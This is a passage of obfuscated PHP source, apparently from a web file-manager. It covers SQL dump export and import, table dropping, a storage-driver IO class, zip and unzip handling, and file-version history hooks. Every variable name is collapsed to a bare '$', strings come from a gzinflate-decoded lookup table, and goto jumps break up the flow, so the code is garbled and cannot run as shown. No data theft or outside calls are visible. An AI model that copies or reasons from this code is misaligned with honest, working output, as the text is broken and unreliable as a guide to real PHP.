$_SERVER[]; if (!IO::exist($)) { ActionCall($[1153], !0, 0); show_json(LNG($[1154]), !1); } $ = $this->model()->db(); $ = sqlSplit(IO::getContent($)); foreach ($ as $) { $ = stripos($, $[1155]) === 0; if ($) { $->task[$[1156]] += 1; } $->execute($); if ($) { preg_match($[1157], $, $); $->task[$[1158]] = $[1]; $->update(1); } } } public function insertTable($, &$) { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); foreach ($ as $) { $ = basename($, $[880]); if (!in_array($, $)) { continue; } $->task[$[1158]] = $; if (get_filesize($) == 0) { continue; } $ = $this->sqlToDb($, $); if (!$) { ActionCall($[1153], !0, 0); show_json(LNG($[1159]) . "\133{$}\x5d", !1); } } } public function sqlFromDb($, $, &$, $ = '') { if ($) { $->task[$_SERVER[][1158]] = $; } $ = $this->model($); $ = 0; $ = 0; $ = 10000; $ = fopen($, $_SERVER[][1160]); $ = $->getPk(); $ = $->getDbFields(); $ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][879]] && in_array($, array($_SERVER[][1161], $_SERVER[][1162]))) { $ = $; } do { $ = array($ => array($_SERVER[][1107], $)); $ = $->where($)->field($)->order($ . $_SERVER[][1163])->limit($)->select(); $ = !empty($) ? $ : array(); if (!($ = count($))) { break; } $ = end($); $ = $[$]; $ = array(); foreach ($ as $) { if ($) { if ($ == $_SERVER[][1161]) { if ($[$_SERVER[][33]] == $_SERVER[][1164]) { $ = json_decode($[$_SERVER[][462]], !0); if ($[$_SERVER[][32]] == $GLOBALS[$_SERVER[][879]] && $[$_SERVER[][840]] != 1) { continue; } } } else { if ($[$_SERVER[][33]] == $_SERVER[][1165] && $[$_SERVER[][97]] == $_SERVER[][875]) { continue; } } } if ($) { $[$_SERVER[][87]] = "\173\151\157\x3a{$}\175" . substr($[$_SERVER[][87]], strlen("\x7b\151\157\x3a{$[$_SERVER[][913]]}\x7d")); $[$_SERVER[][913]] = $; } $[] = $_SERVER[][1166] . $this->sqlEncode($) . $_SERVER[][1167]; } $ = "\111\x4e\123\x45\x52\x54\x20\x49\x4e\x54\x4f\x20\140{$}\140\40\x28\140" . implode($_SERVER[][1168], $) . $_SERVER[][1169]; fwrite($, $ . implode($_SERVER[][1170], $) . $_SERVER[][74] . PHP_EOL); $ += $; if ($) { $->update($); } } while ($ == $); fclose($); return $; } public function sqlToDb($, &$) { $ =& $_SERVER[]; $ = $this->model()->db(); $ = @fopen($, $[1171]); if (!$) { return !1; } $ = 0; $ = $[12]; $ = array(); $ = $this->dbType(); $ = $ == $[13] ? 500 : 2000; $ = basename($, $[880]); $ = 0; $ = 4194304; while (!feof($)) { $ = trim(fgets($)); if (!$) { continue; } $ = $this->sqlDecode($, $, $); if (stripos($, $[442]) === 0) { if (!$) { $ = $ . $[53]; } continue; } if ($) { $->task[$[1156]] += 1; } $++; $[] = rtrim(rtrim(trim($), $[50]), $[74]); $ = null; $ = strlen($); $ += $; $ = strlen($) + $ + (count($) - 1); if ($ >= $) { $ = array_pop($); if ($ > 1) { $--; } } if ($ >= $ || $) { $ = $ . implode($[50], $); if (!$->execute($)) { return !1; } if ($) { $->update($); } $ = array(); $ = 0; $ = 0; if ($) { $ = array($); $ = 1; $ = $; } } } fclose($); if (!empty($)) { $ = $ . implode($[50], $); if (!$->execute($)) { return !1; } if ($) { $->update($); } } return !0; } public function dropTable($ = null) { $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); if (!$) { return; } foreach ($ as $) { if ($) { $ = strtolower($); } else { continue; } $->execute("\144\162\157\160\40\164\x61\x62\x6c\x65\40\151\146\40\x65\170\x69\x73\164\x73\x20\140{$}\x60"); } } private function sqlEncode($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($[1172], $[288], $[429]), array($[1173], $[1174], $[1175]), $); $[] = $; } return $[58] . implode($[1176], $) . $[58]; } private function sqlDecode($, $, $ = '') { $ =& $_SERVER[]; $ = str_replace(array($[1173], $[1174], $[1175]), array($[1172], $[288], $[429]), $); if ($ == $[13]) { $ = str_ireplace($[1177], $[59], $); $ = stripslashes($); } return preg_replace($[1178], $[12], $); if ($ == $[13]) { return $ != $[874] ? stripslashes($) : $; } if ($ == $[874]) { $ = str_replace($[1179], $[121], stripslashes($)); } return $; } public function getSqlFile($ = '') { $ =& $_SERVER[]; $ = $this->dbType(!0); $ = CONTROLLER_DIR . "\x69\x6e\163\x74\x61\x6c\x6c\57\x64\141\x74\141\x2f{$}\56\x73\x71\154"; $ = file_get_contents($); $ = $[1180] . ($ == $[898] ? $[1181] : $[1182]) . $[1183]; preg_match_all($, $, $); $ = $[1]; $ = $this->model()->db(); $ = $->getTables(); $ = TEMP_FILES . $[1184] . date($[262]) . $[8]; del_dir($); mk_dir($); $ = $ . $[1185]; $ = $ . $[1186]; $ = $ == $[13] ? $[898] : $[13]; IO::copy(CONTROLLER_DIR . "\151\156\163\x74\x61\x6c\154\x2f\x64\x61\164\x61\57{$}\56\163\x71\154", $); @touch($ . $ . $[880]); $ = fopen($, $[1160]); $ = fopen($, $[1160]); if ($ == $[13]) { $ = array_diff($, array($[872], $[873])); $ = array($[1187], $[1188], $[1189]); fwrite($, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ as $) { $ = $this->sqlFromSqlite($); if (!$[$[13]]) { continue; } fwrite($, $[$[13]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($, $[$[898]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $) { $ = $this->sqlFromMysql($); if (!$[$[898]]) { continue; } fwrite($, $[$[898]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($, $[$[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($); $ = array($[898] => $, $[13] => $); return $ ? $[$] : $; } public function dbType($ = false) { $ =& $_SERVER[]; $ = $ ? $GLOBALS[$[6]][$[21]] : $this->database; $ = array_change_key_case($); $ = $[$[1060]]; if ($ == $[1057]) { $ = explode($[4], $[$[1066]]); $ = $[0]; } $ = array($[1190] => $[13], $[1005] => $[898]); if (isset($[$])) { $ = $[$]; } return $; } public function sqlFromMysql($, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $->query($[1191] . $ . $[473]); if (!$ || !$[0]) { return !1; } $ = _get($[0], $[1192], $[12]); if (!$) { return !1; } $ = "\x44\122\x4f\x50\x20\124\101\x42\x4c\105\40\x49\x46\40\105\x58\x49\x53\124\x53\40\140{$}\x60\x3b" . PHP_EOL . $ . $[74]; if ($ && $ == $[898]) { return $; } $ = array_change_key_case($GLOBALS[$[6]][$[21]]); $ = $[$[1065]]; $ = $[1193] . $ . $[1194] . $ . $[58]; $ = $[1195] . $ . $[993]; $ = $->query($); if (empty($)) { $ = array($[898] => $[12], $[13] => $[12]); return $ ? $[$] : $; } $ = $->query($); $ = $[12]; $ = array(); foreach ($ as $) { if (!$ && $[$[1196]] == $[1197]) { $ = $[$[1198]]; } if (isset($[$[$[1196]]])) { $[$[$[1196]]][$[1199]][] = $[$[1198]]; continue; } $[$[$[1196]]] = array($[1200] => $[$[1196]], $[1199] => array($[$[1198]]), $[1201] => $[$[1202]] == $[91] ? 0 : 1); } $ = array(); foreach ($ as $) { $ = $[$[1200]] == $[1197]; $ = array($[1203], $[$[1201]] == $[91] && !$ ? $[1204] : $[12], $[1205], $[1206] . $ . $[11] . ($ ? $[1207] : $[$[1200]]) . $[121], $[1208], $[121] . $ . $[121], $[1209] . implode($[1210], $[$[1199]]) . $[1211]); $[] = implode($[53], $) . $[74]; } $ = array(); $ = array($[1212] => $[1213], $[1213] => $[1213], $[375] => $[402], $[374] => $[402]); foreach ($ as $) { $ = array($[121] . $[$[1214]] . $[121], isset($[$[$[1215]]]) ? $[$[$[1215]]] : $[$[1216]], $[$[1217]] == $[991] ? $[1218] : $[1219], $[$[1214]] == $ ? $[1220] : $[12], $[$[1042]] ? strtoupper(str_replace($[11], $[12], $[$[1042]])) : $[12]); $[] = trim(implode($[53], $)); } $ = array($[1221] . $ . $[1222], $[1223] . $ . $[1224], implode($[50] . PHP_EOL, $), $[1039]); $ = implode(PHP_EOL, array_merge($, $)); if ($ && $ == $[13]) { return $; } $ = array($[898] => $, $[13] => $); return $ ? $[$] : $; } public function sqlFromSqlite($, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = "\120\122\x41\x47\x4d\101\x20\124\x41\x42\x4c\105\x5f\x49\116\106\117\x20\x28\x27{$}\47\x29"; $ = "\123\x45\114\x45\103\x54\x20\52\x20\106\x52\117\x4d\x20\x73\x71\x6c\x69\x74\x65\x5f\155\141\x73\164\145\162\x20\127\110\x45\x52\x45\40\x74\x62\154\x5f\156\141\155\145\x20\x3d\40\47{$}\47"; $ = $->query($); if (empty($)) { $ = array($[898] => $[12], $[13] => $[12]); return $ ? $[$] : $; } $ = $->query($); $ = $ = array(); foreach ($ as $) { if ($[$[33]] == $[368]) { $[] = $[$[1225]]; } else { $[$[$[32]]] = $[$[1225]]; } } $ = array_merge(array($[1221] . $ . $[121]), $, array_values($)); $ = implode($[74] . PHP_EOL, $) . $[74]; if ($ && $ == $[13]) { return $; } $ = array(); foreach ($ as $ => $) { $ = str_replace($[1226] . $ . $[11], $[12], $); $ = str_replace($ . $[11], $[12], $); $ = str_replace(array($[121], $[1050]), $[473], substr($, stripos($, $[349]))); $[$] = $; } $ = array(); $ = array($[1213] => $[1227], $[402] => $[1228]); $ = $ = $[12]; foreach ($ as $) { if ($[$[57]] == $[91]) { $ = $[$[32]]; } $ = $[$[33]]; if ($ == $[1229] && isset($[$[$[32]]])) { $ = $[1230]; } $ = array($[473] . $[$[32]] . $[473], _get($, $, $), $[$[35]] == $[91] ? $[1218] : $[1231] . $[$[56]], $[$[57]] == $[91] ? $[1232] : $[12]); $[] = trim(implode($[53], $)); } foreach ($ as $ => $) { if ($ == $[1207]) { $ = $ = $[1233] . $ . $[1234]; } else { $ = (stripos($, $[11]) ? $[1235] : $[12]) . ($[1236] . $ . $[1237] . $); } $[] = $; } if ($ && !$) { $ = array_merge(array($[1233] . $ . $[1234]), $); } $ = array($[1238] . $ . $[1239], $[1240] . $ . $[1241], implode($[50] . PHP_EOL, $), $[1242]); $ = implode(PHP_EOL, $); if ($ && $ == $[898]) { return $; } $ = array($[898] => $, $[13] => $); return $ ? $[$] : $; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $ =& $_SERVER[]; $ = $; $GLOBALS[$[1243]] = $[1244] . $; Hook::trigger($[1244] . $ . $[1245], $); $ = self::driverMake($[0]); if (!$) { return !1; } if (method_exists($, $)) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists($, $[1246])) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists(self, $)) { $ = @call_user_func_array(array(self, $), $); } else { $ = call_user_func_array(array(parent, $), $); } } } Hook::trigger($[1244] . $ . $[1247], $, $); return $; } public static function init($) { return self::driverMake($); } public static function copy($, $, $ = false, $ = false) { return self::copyMoveStart($, $, $, $_SERVER[][635], $); } public static function move($, $, $ = false, $ = false) { return self::copyMoveStart($, $, $, $_SERVER[][637], $); } public static function copyMoveChildren($, $, $ = "\143\157\x70\171", $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $; $ = self::driverMake($); $ = $->listPath($, !0); $ = array_merge($[$[86]], $[$[85]]); foreach ($ as $) { self::copyMoveStart($[$[87]], $, $, $, !1); } if ($ == $[637]) { self::remove($); } } private static function copyMoveStart($, $, $, $, $) { $ =& $_SERVER[]; $ = array($, $, $, $); Hook::trigger($[1244] . $ . $[1245], $); $ = self::copyMove($, $, $, $, $); Hook::trigger($[1244] . $ . $[1247], $, $); return $; } public static function saveFile($, $, $ = true) { $ =& $_SERVER[]; $ = self::info($); $ = self::driverMake($); $ = self::driverMake($); $ = !1; if ($->pathParse[$[1248]]) { $ = $; $ = $->pathParse[$[1248]]; $ = self::driverMake($); } if ($->pathParse[$[1248]]) { $ = $->pathParse[$[1248]]; $ = self::driverMake($); } $ = $->pathFather($); $ = !0; if (!$ && self::driverIsSame($, $)) { $ = !1; } $ = self::copyFile($, $, $, $, $[$[32]], $); if ($) { $ = $->getPathOuter($); } return $; } private static function copyMove($, $, $, $, $ = false) { $ =& $_SERVER[]; if (!$ || $ == $[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($); $ = self::driverMake($); $ = $ == $[637]; $ = !1; if ($->pathParse[$[1248]]) { $ = $; $ = $->pathParse[$[1248]]; $ = self::driverMake($); } if ($->pathParse[$[1248]]) { $ = $->pathParse[$[1248]]; $ = self::driverMake($); } self::check($, $, $, $); Hook::trigger($[1249], $, $, $, $); $ = self::driverIsSame($, $); if ($) { if ($ == $[637] && !method_exists($, $[1250]) && trim($, $[8]) == trim($->pathFather($), $[8])) { if ($->pathThis($) != $ && !$->isOsDriver()) { return $->rename($, $); } return $->getPathOuter($); } if (method_exists($, $)) { return $->{$}($, $, $, $); } } if ($ && $ == $[637] && $->getType() == $[109]) { $ = $->movePath($, $, $); if ($) { return $; } } $ = $->isFile($); if (!$ && $->getType() == $[847] && $->getType() == $[109]) { $ = $->copyFolderFromIO($, $, $, $, $, $); } else { $ = self::copyPath($, $, $, $, $, $, $, $); } if ($ && $) { $->remove($); } if ($) { $ = $->getPathOuter($); } return $; } private static function check($, $, $, &$) { $ =& $_SERVER[]; if (self::driverIsSame($, $) && $->isFolder($) && $->isParentOf($, $)) { show_json(LNG($[1251]), !1); } if (!$->exist($)) { show_json(LNG($[108]), !1); } } private static function copyPath($, $, $, $, $, $, $, $ = false, $ = true) { $ =& $_SERVER[]; $ = empty($) && $ !== $[231] ? $->pathThis($) : $; if ($) { $ = $->fileNameExist($, $); $ = $; $ = $->fileNameAuto($, $, $, !$); if (!$ || $ != $) { $ = !1; } if ($ && !$) { $->_data[$[1252]] = !0; } } if ($) { return self::copyFile($, $, $, $, $, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($, $[8]) . $[8] . $; $ = $->mkdir($->getPath($), $); $ = $->getPathInner($); $ = $->listPath($, !0); $ = is_array($) ? $ : array($[86] => array(), $[85] => array()); $ = array_merge($[$[86]], $[$[85]]); foreach ($ as $) { $ = $[$[33]] == $[233]; $ = $->getPathInner($[$[87]]); $ = self::copyPath($, $, $, $, $, $, $, !1, !1); if (!$) { IO::errorTips($[1253] . $ . $[73] . $); } } self::copyMoveKeepInfo($, $, $); return $; } private static function copyFile($, $, $, $, $, $) { $ =& $_SERVER[]; $ = $->getPath(rtrim($, $[8]) . $[8] . $); $ = $[1254] . time() . rand_string(5); Hook::trigger($[1255], $, $, $, $, $, $); if (self::driverIsSame($, $)) { if ($) { $ = $->moveFile($, $); } else { $ = $->copyFile($, $); } Hook::trigger($[1256], $, $, $, $, $, $); self::copyMoveKeepInfo($, $, $); return $; } $ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[888]]) { $ = $GLOBALS[$[6]][$[92]][$[888]]; } $ = $; mk_dir($); $ = $ . $; $ = $; $ = $->download($, $); $ = $->iconvApp($); if (substr($, strlen($)) == $) { $ = !0; } $ = $->upload($, $, $); self::remove($); Hook::trigger($[1256], $, $, $, $, $, $); self::copyMoveKeepInfo($, $, $); return $; } private static function copyMoveKeepInfo($, $, $) { if (!$) { return; } $ = $->info($); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[][88]]); } public static function pathFather($) { $ = IO::init($); $ = $->pathFather($->path); return $->getPathOuter($); } public static function fileOut($, $ = false, $ = false, $ = '') { $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutServer($, $, $, $); } return $->fileOut($, $, $, $); } public static function fileOutImage($, $ = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($); $++) { if ($ == 0 && $ <= $[$]) { $ = $[$]; break; } else { if ($ > $[$ - 1] && $ <= $[$]) { $ = $[$]; break; } else { if ($ == count($) - 1 && $ > $[$]) { $ = $[$]; break; } } } } $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutImageServer($, $); } return $->fileOutImage($, $); } private static function driverIsSame($, $) { $ =& $_SERVER[]; $ = $->getType(); $ = $->getType(); if ($ != $) { return !1; } if ($ == $[847]) { return !0; } if ($ == $[109]) { return !0; } if ($->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($, $) { $ =& $_SERVER[]; if (!IO::exist($)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $ = array_to_keyvalue(self::listAllSimple($), $[87]); $ = array_to_keyvalue(self::listAllSimple($), $[87]); $ = array(); $ = array(); foreach ($ as $ => $) { if (isset($[$])) { if ($[$[78]] == 1) { continue; } if ($[$][$[79]] == $[$[79]]) { continue; } } if ($[$[78]] == 1) { $[] = $ . $[8] . trim($, $[8]); continue; } $ = strstr(trim($, $[8]), $[8]) ? get_path_father($) : $[12]; $[] = array($[1257] => $[$[89]], $[1258] => rtrim($, $[8]) . $[8] . $, $[1259] => $); } $ = array($[233] => $, $[78] => $); Hook::trigger($[1260], $, $, $); foreach ($ as $) { IO::mkdir($); } foreach ($ as $) { IO::copy($[$[1257]], $[$[1258]], REPEAT_REPLACE); } } public static function fileSubstr($, $, $ = false) { $ =& $_SERVER[]; $ = self::driverMake($); $ = $->size($); $ = $; $ = $; if ($ < 0) { $ = $ + $; } if ($ === !1) { $ = $ - $; } if ($ + $ > $) { $ = $ - $; } if (!$ && $->getType() == $[109] && !$->exist($)) { $ = get_path_this($); $ = parse_url_query($); if (is_array($) && isset($[$[32]])) { $ = urldecode($[$[32]]); } throw new Exception($[1261] . LNG($[1262]) . $[1059] . clear_html($) . $[12]); } if ($ <= 0) { return $[12]; } if ($ < 0 || $ >= $ || $ > 1024 * 1024 * 10) { throw new Exception("\x66\x69\154\145\122\x65\x61\144\x20\x65\x72\162\x6f\x72\x21\40\163\164\141\x72\x74\75{$}\x3b\154\x65\x6e\147\x74\x68\75{$}\x3b\x20\x73\x69\172\145\x3d{$}\x3b"); } $ = $->fileSubstr($, $, $); if (!$ && $ && isset($GLOBALS[$[1263]])) { throw new Exception($GLOBALS[$[1263]][$[1264]]); } return $; } private static function driverMake(&$) { $ =& $_SERVER[]; $ = KodIO::parse($); if (!self::$driverListSystem) { $ = Model($[857])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $[487]); } if ($[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$[487]]]) { throw new Exception($[1265]); return !1; } $ = $[$[1266]]; $ = self::driverGet($, $); return $; } private static function driverGet($, &$) { $ =& $_SERVER[]; $ = $[$[1267]]; $ = $[$[487]]; switch ($[$[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ = $ . $; $ = array($[1268] => $[1269], $[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$[1270]]; self::$driverListUser = array_to_keyvalue($, $[487]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($[1268] => $[1271], $[6] => $); $ = Action($[1272])->sharePathInfo($[$[87]]); $ = $[$[194]]; if (!$[$[194]]) { $ = Model($[681])->getInfo($[$[682]]); $ = KodIO::clear($[$[1273]] . $[$[1266]]); $[$[574]] = $; $[$[1248]] = $; $ = array($[1268] => $[1274], $[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ = array($[1268] => $[1275], $[6] => $); $ = Model($[681])->getInfo($[$[487]]); if ($[$[194]] == $[231]) { $ = KodIO::clear($[$[1273]] . $[$[1266]]); $[$[574]] = $; $[$[1248]] = $; $ = array($[1268] => $[1276], $[6] => $); } else { if (!$) { $ = $[$[194]]; } } break; default: $ = $[$[87]]; $ = array($[1268] => $[1277]); break; } $ = $[$[87]]; if (!isset(self::$driverCache[$])) { $ = strtolower($[$[98]]); $ = $GLOBALS[$[6]][$[92]][$[921]]; $ = $[77] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_exists($)) { show_json("{$}\40\156\x6f\x74\40\x65\x78\151\163\164\x73\x21", !1); } $ = isset($[$[6]]) ? $[$[6]] : !1; self::$driverCache[$] = new $($); } $ = self::$driverCache[$]; $->pathDriver = $; $->pathBase = $[12]; if (isset($[$[6]][$[1278]])) { $->pathBase = rtrim($[$[6]][$[1278]], $[8]) . $[8]; $ = $->pathBase . ltrim($, $[8]); } $ = $->getPath($); if (isset($[$[1248]])) { $ = $[$[1248]]; } $->path = $; return $; } public static function errorTips($ = false) { $ =& $_SERVER[]; static $ = array(); $ = 1000; if ($ === -1) { return $ ? $[count($) - 1] : $[12]; } if ($ === !1) { return implode($[288], $); } if (count($) >= $) { $ = array_slice($, $ * 0.5, $); } $[] = $; write_log($[176] . ACTION . $[1279] . $, $[1280]); } public static function getLastError($ = '') { $ = self::errorTips(-1); return $ ? $ : $; } } goto E; F: $_SERVER[] = explode($_SERVER[][697], gzinflate(substr($_SERVER[][698], 10, -8))); $nmwlctqxar = $_SERVER[][699]; while ($nmwlctqxar < $_SERVER[][700]) { if ($nmwlctqxar >= 0) { break; } $nmwlctqxar++; } goto E; E: class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $ = IO::init($_SERVER[][8]); return $; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($, $ = "\x7a\151\160", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = IO::listPath($); if (!$) { return !1; } $ = array_merge($[$[85]], $[$[86]]); return self::zip($, $, $, $); } public static function zip($, $ = "\x7a\151\x70", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; if (is_string($) && $) { $ = array(array($[87] => $)); } $ = self::init($[0][$[87]]); $ = self::info($[0][$[87]]); $ = $[12]; $ = $[12]; $ = $[12]; if ($ && substr($, -1, 1) != $[8]) { $ = get_path_father($); $ = get_path_this($); } else { $ = self::pathFather($[$[87]]); $ = $[$[32]] . $[10] . $; if (count($) > 1) { $ = IO::info($); $ = $[$[32]] . $[10] . $; } if ($) { $ = $; } } if ($->getType() == $[109]) { $ = self::init($); $ = $->getType() == $[109] ? $ : get_path_father($->path); $ = IO::getPathInner($); $ = rtrim($, $[8]) . $[8]; mk_dir($); } else { $ = TEMP_FILES . $[1281] . time() . rand_string(8) . $[8]; mk_dir($); file_put_contents($ . $[1282], $[12]); $ = $; } $ = IO::info($); if (!$ || !$[$[236]]) { show_json(LNG($[1283]), !1); } $ = self::zipFileList($, $); foreach ($ as $ => $) { $[$] = self::iconvSystem($); } $ = get_filename_auto($ . $, $[12], $); KodArchive::create(self::iconvSystem($), $); if (!IO::exist($)) { if ($) { del_dir($); } write_log($[1284] . $, $[400]); show_json(LNG($[1285]), !1); } if (!$) { return $; } $ = self::move($, $, $); if ($) { del_dir($); } if (!$) { write_log($[1286] . $ . $[1287] . $, $[400]); show_json(LNG($[1285]), !1); } return $; } public static function unzip($, $, $ = "\55\x31", $ = "\162\x65\x70\x6c\141\x63\145") { $ =& $_SERVER[]; $ = parent::info($); if (!$) { show_json(LNG($[1288]), !1); } $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($); } if (isset($[$[194]]) && trim($[$[87]], $[8]) != trim($, $[8])) { $ = KodIO::make($[$[193]]); $ = IO::fileNameAuto($, $[$[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($ . $); } $ = $ && $ != $[1289] ? @json_decode($, !0) : -1; $ = self::unzipPart($, $); if (!$ || !IO::exist($[$[233]])) { show_json(LNG($[108]), !1); } $ = $[$[1290]][count($[$[1290]]) - 1]; if ($[$[1291]] == -1 || substr($[$[32]], -1, 1) == $[8]) { $ = $[$[1292]] . rand_string(10) . $[8]; mk_dir($); $ = count($[$[1290]]) == 1 ? IO::ext($) : get_path_ext($[$[233]]); $ = KodArchive::extract(self::iconvSystem($[$[233]]), $, $[$[1291]], $, $); self::unzipErrorCheck($, array($[1293], $, $, $, $)); Hook::trigger($[1294], $); recursion_dir($, $, $, 0); $ = array_merge($, $); $ = array(); foreach ($ as $) { $ = IO::move(self::iconvApp($), $, $); if ($) { $[] = $; } } del_dir($); } else { $ = IO::move($[$[233]], $, $, get_path_this($[$[32]])); if ($) { $[] = $; } } return $ ? $ : !1; } public static function unzipList($) { $ =& $_SERVER[]; $ = isset($[$[1295]]) ? $[$[1295]] : !1; $ = isset($[$[1291]]) ? @json_decode($[$[1291]], !0) : -1; $ = self::unzipPart($[$[87]], $); if (!$ || !IO::exist($[$[233]])) { show_json(LNG($[108]), !1); } $ = $[$[1290]][count($[$[1290]]) - 1]; $ = in_array(IO::ext($[$[233]]), array($[400], $[1296], $[1297], $[1298], $[1299], $[1300])); if (!$ && ($[$[1291]] == -1 || $)) { $ = $[$[1292]] . get_path_this($[$[233]]) . $[1301]; if (!IO::exist($)) { $ = $[$[1291]] == -1 ? get_path_ext(IO::pathThis($[$[87]])) : get_path_ext($[$[233]]); $ = KodArchive::listContent(self::iconvSystem($[$[233]]), !0, $); self::unzipErrorCheck($, array($[1302], $, $)); @file_put_contents($, json_encode($[$[1303]])); } return @json_decode(IO::getContent($), !0); } IO::fileOut($[$[233]], $, get_path_this($[$[32]])); die; } private static function zipFileList($, $ = false) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { $ = $[$[87]]; if ($) { $ = self::copy($[$[87]], $, $[914]); } else { $ = self::init($[$[87]]); if ($->getType() == $[109]) { $ = $->path; } } if ($ && self::local()->exist($)) { $[$[$[87]]] = $; } } if (!empty($)) { return array_values($); } show_json(LNG($[1262]), !1); } private static function localFilePath($) { $ =& $_SERVER[]; $ = KodIO::parse($); if ($[$[33]] == KodIO::KOD_SOURCE) { $ = Model($[920])->fileInfoGet(KodIO::sourceID($)); if (!$[$[87]]) { show_json($[1304], !1); } $ = $[$[87]]; } $ = self::init($); if ($->pathParse[$[1248]]) { $ = $->pathParse[$[1248]]; $ = self::init($); } $ = $->getType(); if ($ == $[109] || $ == $[1305]) { if (!$->exist($->path)) { show_json(LNG($[108]), !1); } return $->path; } return !1; } public static function unzipPart($, $ = -1) { $ =& $_SERVER[]; $ = IO::pathThis($); if (!$ || $ == -1) { $ = array(array($[32] => $, $[1291] => -1)); $[0][$[1306]] = $[0][$[32]]; } else { if (is_array($)) { $ = $; $ = count($) - 1; for ($ = 0; $ <= $; $++) { $ = $[$]; $ = get_path_this($[$[32]]) . (checkExtSafe($[$[32]]) ? $[12] : $[1307]); $[$][$[1306]] = $[1308] . intval($[$[1291]]) . $[474] . $; if ($ == 0) { continue; } $[$][$[1306]] = $[$ - 1][$[1306]] . $[1309] . $[$][$[1306]]; } } } if (!is_array($) || count($) == 0) { return !1; } $ = $[count($) - 1]; if (!IO::exist($)) { return !1; } $ = TEMP_FILES . $[1310] . kodIO::hashPathSafe($) . $[8]; $ = $ . $[$[1306]]; mk_dir($); file_put_contents(TEMP_FILES . $[1282], $[12]); if (IO::exist($)) { return array($[233] => $, $[1290] => $, $[1292] => $); } $ = self::localFilePath($); if (!$) { $ = $ . $[1311]; if (!IO::exist($)) { self::copy($, $, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($[$[1291]] == -1) { return array($[233] => $, $[1290] => $, $[1292] => $); } $ = $; foreach ($ as $ => $) { if (!$ || $[$[1291]] == $[1289]) { break; } if (substr($[$[32]], -1, 1) == $[8]) { break; } $ = in_array(get_path_ext($[$[1306]]), array($[400], $[1296], $[1297], $[1298], $[1299], $[1300])); $ = $ == count($) - 1 && $; $ = $ . $[$[1306]]; $ = $ . get_path_this($[$[32]]); if (IO::exist($)) { $ = $; continue; } $ = $ == 0 ? get_path_ext($) : get_path_ext($); $ = KodArchive::extract(self::iconvSystem($), $, $[$[1291]], $, $); self::unzipErrorCheck($, array($[1312], $, $, $, $)); if (IO::exist($)) { IO::rename($, get_path_this($)); } $ = $; } $ = $; return array($[233] => $, $[1290] => $, $[1292] => $); } private static function unzipErrorCheck($, $ = false) { $ =& $_SERVER[]; if ($[$[1313]]) { return !0; } write_log(array($[1314], $, $), $[1315]); $ = is_array($[$[1303]]) ? json_encode($[$[1303]]) : $[$[1303]]; show_json($[1316] . $, !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[92]]; if ($[$[1317]] != 1) { return; } if ($[$[1318]] <= 0) { return; } if (isset($_REQUEST[$[1319]]) && $_REQUEST[$[1319]] == $[91]) { return; } Hook::bind($[1320], $[1321]); Hook::bind($[1322], $[1323]); Hook::bind($[1324], $[1325]); Hook::bind($[1326], $[1327]); Hook::bind($[1328], $[1329]); Hook::bind($[1330], $[1331]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($) { $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeCopyFile($, $, $, $, $, $) { $ =& $_SERVER[]; if (isset($->_data[$[1252]]) && $->_data[$[1252]]) { return; } $ = $->getPathOuter($); $ = self::parsePath($); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[233]) { $ = self::listData($); if ($ && $[$[457]]) { self::moveHistory($, $[1]); } } else { IO::rename($[$[87]], $[1]); } } public static function eventBeforeMove($) { $ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::parsePath($[1]); if 